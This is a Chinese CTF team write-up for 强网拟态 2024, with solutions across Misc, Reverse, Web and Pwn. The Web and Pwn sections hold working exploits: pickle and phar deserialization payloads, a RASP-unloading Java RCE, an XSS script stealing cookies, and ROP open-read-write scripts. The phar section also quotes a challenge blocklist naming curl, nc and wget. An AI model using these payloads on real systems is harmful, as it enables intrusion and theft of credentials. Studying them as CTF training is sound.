强网拟态2024-volcano

强网拟态2024 by volcano

image-20241020125745805

image-20241020125719781

真tm难打,web都被打烂了,就那么点分

主要还是校队人员分布不均吧,太缺pwn手了

Misc

xor

img

ezflag

img

追踪tcp发现是个zip

img

有个flag.zip

放入010,发现是png

修改后缀即可

img

Pvz

import pyzipper
import hashlib


for i in range(100, 1000):
    try:
        with pyzipper.AESZipFile("how much.zip", "r") as file:
            pwd = hashlib.md5(str(i).encode()).hexdigest()
            file.extractall(pwd=pwd.encode())
        print(i)
        break
    except Exception as ex:
        continue

压缩包密码爆破出217eedd1ba8c592db97d0dbe54c7adfc,738阳光

得到两个图片

M41b0lg3.png

img

Zz.png

img

恢复了一下,用支付宝扫码

img

D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k

盲猜一手 Malbolge

https://malbolge.doleczek.pl/

flag{5108a32f-1c7f-4a40-a4fa-fd8982e6eb49}

Streaming

img

先把那堆 UDP 解码成 RTP 看看

参考一下 https://blog.csdn.net/water1209/article/details/127927245

插件 https://github.com/volvet/h264extractor

img

小黑子

暂时无法在飞书文档外展示此内容

img

flag1 is 'flag{3b3a9c08-'

hint:it's not just flag!!!

Reverse

Serv1ce

动调可以得知并dump出传入check中的输入、keyarray和num,对应so中的逻辑写脚本爆破可得

keyArray = [173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197]
v = [0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB, 0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8, 0xDF, 0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B, 0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67]
num = 11

for c in range(0, len(v)):
    for i in range(128):
        if (num * (i ^ keyArray[c])) & 0xff == v[c]:
            print(chr(i), end='')
            break
# f4c99233-3b19-426c-8ca6-a44d1c67f5d8

Easyre

挺复杂的花指令

估计必须写angr/unicorn脚本才能解了,实在不会/(ㄒoㄒ)/~~

Babyre

#include <stdio.h>
#define __int8 char
#define _QWORD long long

int check(int index, int num) {
    int v1; // r8d
    int v2; // ecx
    int v3; // ecx
    int v5; // [rsp+8h] [rbp-38h]
    int v6; // [rsp+Ch] [rbp-34h]
    int v7; // [rsp+10h] [rbp-30h]
    int v8; // [rsp+14h] [rbp-2Ch]
    int v9; // [rsp+18h] [rbp-28h]
    int v10; // [rsp+1Ch] [rbp-24h]
    int v11; // [rsp+20h] [rbp-20h]
    int v12; // [rsp+24h] [rbp-1Ch]
    int v13; // [rsp+28h] [rbp-18h]
    int v14; // [rsp+2Ch] [rbp-14h]
    int v15; // [rsp+30h] [rbp-10h]
    int i; // [rsp+38h] [rbp-8h]
    unsigned int v17; // [rsp+3Ch] [rbp-4h]

    char a1[12] = {0};
    for (int j = 0; j <= 3; ++j )
    {
      a1[11 - j] = index & 1;
      index >>= 1;
    }
    for (int k = 0; k <= 7; ++k )
    {
      a1[7 - k] = num & 1;
      num >>= 1;
    }

    v15 = a1[1];
    *(&v15 + 1) = a1[0];
    v14 = a1[2];
    v13 = a1[3];
    v12 = a1[4];
    v11 = a1[5];
    v10 = a1[6];
    v9 = a1[7];
    v8 = a1[8];
    v7 = a1[9];
    v6 = a1[10];
    v5 = a1[11];
    v1 = (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v9 & (v11 == 0) & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15 | *(&v15 + 1)) == 0) & (v10 == 0) & (v6 == 0) | (unsigned __int8)v7 & (unsigned __int8)v9 & (unsigned __int8)v11 & (v13 == 0) & (v14 == 0) & *(char *)(&v15 + 1) & (v15 == 0) & (v12 == 0) & (v10 == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (unsigned __int8)(v14 & v15 & *(char *)(&v15 + 1)) & (v13 == 0) & (v7 == 0);
    v2 = (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)(v15 & *(char *)(&v15 + 1)) & (v13 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & (unsigned __int8)v15 & (*(&v15 + 1) == 0) & (v14 == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & (unsigned __int8)v14 & *(char *)(&v15 + 1) & (v15 == 0) & (v11 == 0) & (v9 == 0) & (v6 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v13 & (unsigned __int8)v14 & (*(_QWORD *)&v15 == 0) & (v12 == 0) & (v9 == 0) & (v6 == 0) | (v1 | (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & (unsigned __int8)v14 & *(char *)(&v15 + 1) & (v15 == 0) & (v11 == 0) & (v8 == 0)) & (v5 == 0);
    v3 = (unsigned __int8)v5 & (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (v13 == 0) & (v14 == 0) & (unsigned __int8)(v15 & *(char *)(&v15 + 1)) & (v11 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15 | *(&v15 + 1)) == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)v15 & (*(&v15 + 1) == 0) & (v13 == 0) & (v8 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & ((v12 | v13 | v14 | v15 | *(&v15 + 1)) == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v5 & (v7 == 0) & (v8 == 0) & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & *(char *)(&v15 + 1) & (v15 == 0) & (v13 == 0) & (v6 == 0) | v2;
    if ( !((unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)v15 & (*(&v15 + 1) == 0) & (v13 == 0) & (v11 == 0) & (v9 == 0) & (v7 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (v10 == 0) & (v11 == 0) & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)v15 & (*(&v15 + 1) == 0) & (v13 == 0) & (v9 == 0) | v3 | (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & ((v13 | v14 | v15 | *(&v15 + 1)) == 0) & (v11 == 0) & (v9 == 0) & (v5 == 0)) )
      return 0;
  
    return 1;
}

int main()
{
    for (int j = 0; j < 16; j++) {
        for (int i = 0; i < 256; i++) {
        if (check(j, i)) {
            printf("%d %d\n", j, i);
        }
    }
    }
    return 0;
}

利用脚本爆破出最后的结果[18, 143, 236, 194, 133, 4, 178, 76, 91, 186, 74, 207, 17, 54, 10, 72]

然后针对中间一个乱七八糟的异或写出爆破脚本获取传入数据

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

uint8_t magic(uint8_t a1) {
    if (a1 & 0x80) {
        return ((2 * a1) ^ 0x1B) & 0xFF;
    } else {
        return (2 * a1) & 0xFF;
    }
}

void magic_xor(uint8_t a1[4]) {
        uint8_t v1 = a1[2] ^ magic(a1[1]) ^ a1[1] ^ magic(a1[0]) ^ a1[3];
        uint8_t v2 = magic(a1[2]) ^ a1[2] ^ magic(a1[1]) ^ a1[0] ^ a1[3];
        uint8_t v3 = magic(a1[2]) ^ a1[1] ^ a1[0] ^ magic(a1[3]) ^ a1[3];
        uint8_t v4 = a1[2] ^ a1[1] ^ a1[0] ^ magic(a1[0]) ^ magic(a1[3]);
        a1[0] = v1;
        a1[1] = v2;
        a1[2] = v3;
        a1[3] = v4;
}

int main(int argc, char *argv[]) {
    uint8_t result[16];
    uint8_t origin[16] = {0};

    for (int i = 0; i < 16; i++) {
        result[i] = (uint8_t)strtol(argv[i + 1], NULL, 16);
    }

    for (int i = 0; i < 4; i++) {
        uint8_t a1[4] = {0};
        for (int c1 = 0; c1 < 256; c1++) {
            for (int c2 = 0; c2 < 256; c2++) {
                for (int c3 = 0; c3 < 256; c3++) {
                        int c4 = result[i]^result[i+4]^result[i+8]^result[i+12]^c1^c2^c3;
                        a1[0] = c1;
                        a1[1] = c2;
                        a1[2] = c3;
                        a1[3] = c4;
                        magic_xor(a1);
                        if (a1[0] == result[i] && a1[1] == result[i+4] && a1[2] == result[i+8] && a1[3] == result[i+12]) {
                            // printf("%02x, %02x, %02x, %02x\n", c1, c2, c3, c4);
                            origin[i] = c1;
                            origin[i+4] = c2;
                            origin[i+8] = c3;
                            origin[i+12] = c4;
                        }
                }
            }
        }
    }
    for (int i = 0; i < 16; i++) {
        printf("0x%02x, ", origin[i]);
    }
    return 0;
}

编译后供Python脚本使用

中间可以动调提取出异或的数据以及置换的table

import subprocess

burp = [18, 143, 236, 194, 133, 4, 178, 76, 91, 186, 74, 207, 17, 54, 10, 72]
v4 = [0x9A, 0x0C, 0x5F, 0x05, 0x1B, 0xB1, 0x4B, 0x8F, 0x89, 0x92, 0x5D, 0x2A, 0x00, 0x66, 0xD0, 0xA9]
xor_key = [0x35, 0xCC, 0x9A, 0xF9, 0x77, 0xA4, 0xB7, 0xB0, 0x40, 0x4A, 0x21, 0x1F, 0x2E, 0x3F, 0x82, 0x35, 0xD3, 0x1F, 0x85, 0x7C, 0xB7, 0x13, 0xA4, 0x14, 0xD6, 0x9C, 0xBD, 0xA2, 0xB7, 0x88, 0x0A, 0x3F, 0x2B, 0x34, 0xB1, 0xCD, 0x8D, 0x9E, 0x3A, 0x2E, 0xA3, 0x3F, 0x82, 0x20, 0xA7, 0x2F, 0x25, 0x1A, 0x1E, 0x2A, 0x9B, 0x56, 0x3A, 0xA4, 0x9E, 0xB0, 0x01, 0x3E, 0xBC, 0x9C, 0x1A, 0x35, 0x10, 0x0A, 0xF1, 0xDB, 0x40, 0x16, 0xE4, 0x40, 0xDE, 0x6E, 0x66, 0x58, 0xE4, 0x78, 0xAB, 0x9E, 0x8E, 0x84, 0x7E, 0xA5, 0xE5, 0xF3, 0x58, 0x18, 0xC6, 0xA8, 0x39, 0x61, 0x85, 0xFD, 0xEC, 0x72, 0xFC, 0x78, 0x9C, 0x39, 0xDC, 0x2F, 0x0C, 0x14, 0xD2, 0x7A, 0x85, 0xE4, 0x61, 0x9C, 0xE1, 0x93, 0x6F, 0x17, 0x06, 0x3F, 0xE3, 0xCC, 0xD2, 0xC6, 0x14, 0x6E, 0x75, 0x91, 0xF0, 0x6C, 0xF4, 0x67, 0x08, 0x1F, 0x19, 0x26, 0xC5, 0x09, 0x82, 0x44, 0x50, 0x3E, 0xB5, 0x24, 0xD4, 0xB8, 0xBF, 0xD8, 0xD0, 0xCF, 0xB0, 0x96, 0x53, 0x5A, 0xEE, 0xAA, 0xFA, 0xC4, 0x3F, 0x1B, 0xCF, 0x77, 0xBE, 0x66, 0xB6, 0x79]
table = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x1, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x4, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x5, 0x9a, 0x7, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x9, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x0, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x2, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0xc, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0xb, 0xdb, 0xe0, 0x32, 0x3a, 0xa, 0x49, 0x6, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x8, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x3, 0xf6, 0xe, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0xd, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0xf, 0xb0, 0x54, 0xbb, 0x16]


def xor(data, key):
    return [data[i] ^ key[i] for i in range(16)]

def change(d):
    new_data = [d[0], d[1], d[2], d[3], d[5], d[6], d[7], d[4], d[10], d[11], d[8], d[9], d[15], d[12], d[13], d[14]]
    return new_data

def reverse_change(d):
    original_data = [d[0], d[1], d[2], d[3], d[7], d[4], d[5], d[6], d[10], d[11], d[8], d[9], d[13], d[14], d[15], d[12]]
    return original_data

def find_table(d):
    new_data = []
    for i in range(16):
        new_data.append(table[d[i]])
    return new_data

def reverse_find_table(d):
    original_data = []
    for value in d:
        original_data.append(table.index(value))
    return original_data

def magic(a1):
    if a1 & 0x80 == 0:
        return (2 * a1) & 0xFF
    else:
        return (2 * a1 ^ 0x1B) & 0xFF

def reverse_magic(a1):
    if a1 % 2 == 0:
        return a1 // 2
    else:
        return ((a1 ^ 0x1B) + 256) // 2

def magic_xor(a1):
    for i in range(4):  # 循环次数为4
        v1 = a1[i + 8] ^ magic(a1[i + 4]) ^ a1[i + 4] ^ magic(a1[i]) ^ a1[i + 12]
        v2 = magic(a1[i + 8]) ^ a1[i + 8] ^ magic(a1[i + 4]) ^ a1[i] ^ a1[i + 12]
        v3 = magic(a1[i + 8]) ^ a1[i + 4] ^ a1[i] ^ magic(a1[i + 12]) ^ a1[i + 12]
        v4 = a1[i + 8] ^ a1[i + 4] ^ a1[i] ^ magic(a1[i]) ^ magic(a1[i + 12])
        a1[i] = v1
        a1[i + 4] = v2
        a1[i + 8] = v3
        a1[i + 12] = v4
    return a1


def reverse_magic_xor(a1):
    # 将a1的16进制值作为argv传入test1.exe
    s = ' '.join([hex(i)[2:] for i in a1])
    s = 'test1.exe ' + s
    p = subprocess.Popen(s, shell=True, stdout=subprocess.PIPE)
    p.wait()
    result = p.stdout.read().decode('utf-8')[:-2]
    result = eval('['+result+']')
    return result


def trans(a1):
    new_a = [0 for i in range(16)]
    for i in range(4):
        for j in range(4):
            new_a[i * 4 + j] = a1[j * 4 + i]
    return new_a

if __name__ == '__main__':
    result = trans(burp)
    result = xor(result, v4)
    result = reverse_change(result)
    result = reverse_find_table(result)
    for i in range(9, 0, -1):
        result = xor(result, xor_key[i*16:(i+1)*16])
        result = reverse_magic_xor(result)
        result = reverse_change(result)
        result = reverse_find_table(result)
    result = xor(result, xor_key[0:16])
    result = trans(result)
    # 将列表输出为uuid格式
    print(''.join(['{:02x}'.format(i) for i in result]))

# 4d87ef0377bb491a80f54620245807c4

img

Web

Ezpicker

register 函数原型链污染修改 jwt key,修改 jwt token 至 admin role

{"username": "admin", "password": "admin", "__class__": {"__init__": {"__globals__": {"secret_key": "0d000721"}}}}

把 jwt 贴一下吧,方便点

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.e5KkmWzkkozWyBU4N4d1p3tB7Xq8X9NFF44CWkscM5w

理论上还能给 safe_* 字典篡改一下(应该就是要改,然后利用 __reduce__?)

先把 os.system 加上去看看

{"username": "admin", "password": "admin", "__class__": {"__init__": {"__globals__": {"secret_key": "0d000721", "safe_modules": ["builtins"], "safe_names": ["eval", "exec"]}}}}

img

草,应该还要加 posix

只能用 buitlins,那估计得写个 eval,不能直接 os.system

img

eval 确实可以,接下来就是看看怎么写 exp 了

用 exec 覆写函数?或者注册一个 handler?

用了非常 dirty 的方法(

import pickle

class Exp:
    def __reduce__(self):
        code = """
class FakeOpen:
    def __init__(self, *args):
        pass

    def read(self):
        return repr(os.listdir("/"))

    def __enter__(self):
        return self

    def __exit__(self, *args):
        pass

globals()["open"] = FakeOpen
        """.strip()
        return exec, (code,)

with open("exp.pkl", "wb") as fp:
    pickle.dump(Exp(), fp)

伪造一个 open 把原本的 open 覆写掉,然后访问 ‘/‘

img

最后把 open 目标改写一下

import pickle

class Exp:
    def __reduce__(self):
        code = """
globals()["open"] = lambda *_: builtins.open("/tr3e_fl4g_1s_h3re_lol")
        """.strip()
        return exec, (code,)

with open("exp.pkl", "wb") as fp:
    pickle.dump(Exp(), fp)

img

flag{yJLgNqR2St6VHfSJnmvggRBZtVycKHSj}

Capoo

LFR 任意文件读取

POST http://web-639b9d6c7e.challenge.xctf.org.cn/showpic.php

capoo=path

Warning: file_get_contents(/proc/self/environ): failed to open stream: Permission denied in /var/www/html/showpic.php on line 20
<?php
class CapooObj {
    public function __wakeup()
    {
        $action = $this->action;
        $action = str_replace("\"", "", $action);
        $action = str_replace("\'", "", $action);
        $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\        |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
        if(preg_match($banlist, $action)){
                die("Not Allowed!");
        }
        system($this->action);
    }
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
    $file = $_POST['capoo'];
    
    if (file_exists($file)) {
        $data = file_get_contents($file);
        $base64 = base64_encode($data);
    } else if (substr($file, 0, strlen("http://")) === "http://") {
        $data = file_get_contents($_POST['capoo'] . "/capoo.gif");
        if (strpos($data, "PILER") !== false) {
                die("Capoo piler not allowed!");
        }
        file_put_contents("capoo_img/capoo.gif", $data);
        die("Download Capoo OK");
    } else {
        die('Capoo does not exist.');
    }
} else {
    die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
  <head>
    <title>Display Capoo</title>
  </head>
  <body>
    <img style='display:block; width:100px;height:100px;' id='base64image'
       src='data:image/gif;base64, <?php echo $base64;?>' />
  </body>
</html>

phar反序列化

本地生成后gzip压缩,http://远程下载

利用file_get_content触发

<?php
class CapooObj {
    public function __wakeup()
    {
        $action = $this->action;
        $action = str_replace("\"", "", $action);
        $action = str_replace("\'", "", $action);
        $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\        |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
        if(preg_match($banlist, $action)){
                die("Not Allowed!");
        }
        system($this->action);
    }
}

$a = new CapooObj();
$a->action = "find / -maxdepth 1";
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test1.txt", "test1");
$phar->stopBuffering();

通过 find / -maxdepth 1 可找到 flag 文件名

img

随后直接调用 showpic.php 的文件读取功能读取 flag 文件内容

img

OnlineRunner

java.io.File directory = new java.io.File("/"); // 设置你想检查的目录  

java.io.File[] files = directory.listFiles();  // 获取目录中的文件列表  

if (files != null) {  
    for (java.io.File file : files) {  
        System.out.println("java.io.File: " + file.getName());  
        System.out.println("Readable: " + file.canRead());  
        System.out.println("Writable: " + file.canWrite());  
        System.out.println("Executable: " + file.canExecute());  
        System.out.println();  
    }  
} else {  
    System.out.println("Could not access the directory or it is empty.");  
}

发现一定要rce执行/readflag

然后随便读取文件

String filePath = "/xxx"; // 替换为你的文件路径

try (java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(filePath))) {
    String line;
    while ((line = reader.readLine()) != null) {
        System.out.println(line);
    }
} catch (java.io.IOException e) {
    System.err.println("Error reading file: " + e.getMessage());
}

/proc/self/cmdline发现是openjdk17,并且加载了一个rasp的agent

接着能够找到rasp的log看了下知道是jvm-rasp,是alibaba的产品

看了wiki后我们知道它是通过加载module进行hook

把sandbox-module的jvm-rasp弄下来看看

img

想要通过UNIXProcess进行绕过,但不太会

后来看到wiki能够卸载module,并且查看sandbox.sh的逻辑实际上就是发送curl请求

放给gpt给个例子就可以得到路径

img

我们需要修改的东西可以在sandbox.log中得到,比如port,还有ids

然后用java写能够进行上述请求的代码即可

String urlString = "http://127.0.0.1:39073/sandbox/default/module/http/sandbox-module-mgr/unload?1=1&action=unload&ids=rasp-rce-native-hook";

try {
    // 创建 URL 对象
    java.net.URL url = new java.net.URL(urlString);

    // 打开连接
    java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();

    // 设置请求方法为 GET
    connection.setRequestMethod("GET");

    // 设置连接属性,模拟 -N 和 -s 选项
    connection.setDoInput(true);
    connection.setUseCaches(false);

    // 获取响应状态
    int responseCode = connection.getResponseCode();
    System.out.println("Response Code: " + responseCode);

    // 读取响应
    try (java.io.BufferedReader in = new java.io.BufferedReader(new java.io.InputStreamReader(connection.getInputStream()))) {
        String inputLine;
        java.lang.StringBuilder response = new java.lang.StringBuilder();
        while ((inputLine = in.readLine()) != null) {
            response.append(inputLine);
        }
        // 打印响应
        System.out.println(response.toString());
    }
} catch (java.lang.Exception e) {
    e.printStackTrace();
}

最后执行拿回显

try {
        System.out.println(new java.util.Scanner(java.lang.Runtime.getRuntime().exec("/readflag").getInputStream()).next());
} catch (java.io.IOException e) {
    throw new java.lang.RuntimeException(e);
}

img

Spreader

考点就是xss窃取cookie,然后payload套两次

经过尝试,在闭合的script标签里加换行即可绕过

不出网,写在/store即可

<script>fetch('/store',{body:'cookie='+document.cookie,method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script
>

img

换cookie后再来一次就行

img

Pwn

signin_revenge

img

沙箱题,对 execve 和 execveat 过滤,但 system 函数需要调用 execve(at)

禁用了execve和execveat,无法直接getshell,可以尝试orw

在vuln中存在栈溢出,而且可以通过puts函数泄露libc,由于mmap函数需要的参数太多,比较难实现,此处使用栈迁移,将栈迁移到bss段,并在bss段写入orw的gadget,成功执行后可以从根目录flag文件中读取到flag

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = remote('ip','port')
elf = ELF('./vuln')
#p = process('./vuln')
libc = ELF('./libc.so.6')
offset = 0x100 + 0x08
pop_rdi = 0x401393 
pop_ret = 0x40101a
bss = 0x404300
lea_rax = 0x4012CF
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
main_addr = 0x4012F0
leave = 0x4012EE 

payload_leak = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 
p.recvuntil('lets move and pwn!')
p.send(payload_leak)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_real_addr - libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rdx = libc_base + 0x142c92 
pop_rsi = libc_base + 0x2601f 

payload_migration = b'a' * (offset - 0x08) + p64(bss + 0x300 + 0x100) + p64(lea_rax)
p.recvuntil('lets move and pwn!')
p.send(payload_migration)
pause() 
payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss + 0x300) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr) 
payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr) 
payload = payload.ljust(0x100, b'\x00')
payload += p64(bss + 0x300) + p64(leave) 
p.send(payload)
p.interactive()

Signin

看上去是一道堆题,其实还是栈题,仔细观察可以发现存在一个后门函数o_O,就是上一题中的vuln函数,故可以借用上题脚本。但是在此之外又增加了auth鉴权函数,好在其中也存在栈溢出,可以通过溢出修改srand(seed)中的seed,此处修改为了0x11111111,再调用c中的rand函数就可以计算出固定的随机数,转为字节之后即可绕过auth函数。进入add函数中的o_O函数之后,打上题脚本读取到flag。

import ctypes
import random
from pwn import *

# 加载 C 标准库
libc = ctypes.CDLL("./libc.so.6")

# 定义 srand 函数的参数类型
libc.srand.argtypes = [ctypes.c_uint]

# 设置随机数种子
seed = 0x11111111
libc.srand(seed)

# 生成 100 个随机数
random_numbers = [libc.rand()%100+1 for _ in range(100)]

context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = remote('ip','port')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
offset = 0x100 + 0x08
pop_rdi = 0x401893 
pop_ret = 0x40101a
bss = 0x404300
lea_rax = 0x4013CF
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
main_addr = 0x4013C0
leave = 0x4013EE 

p.send(0x8*b'a'+(0x12-0x8)*b'\x11')
for i in range(100):
        p.sendafter('Input the authentication code:',random_numbers[i].to_bytes(1, 'big'))
p.sendafter('>> ',b'\x01')
p.sendafter('Index: ',b'\x01')
p.sendafter('Note: ',b'\x01')



payload_leak = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 
#p.recvuntil('lets move and pwn!')
p.send(payload_leak)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_real_addr - libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rdx = libc_base + 0x142c92 
pop_rsi = libc_base + 0x2601f 

payload_migration = b'a' * (offset - 0x08) + p64(bss + 0x300 + 0x100) + p64(lea_rax)
#p.recvuntil('lets move and pwn!')
p.send(payload_migration)
pause() 
payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss + 0x300) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr) 
payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr) 
payload = payload.ljust(0x100, b'\x00')
payload += p64(bss + 0x300) + p64(leave) 
p.send(payload)
p.interactive()

强网拟态2024-volcano
https://zer0peach.github.io/2024/10/20/强网拟态2024-volcano/
作者
Zer0peach
发布于
2024年10月20日
许可协议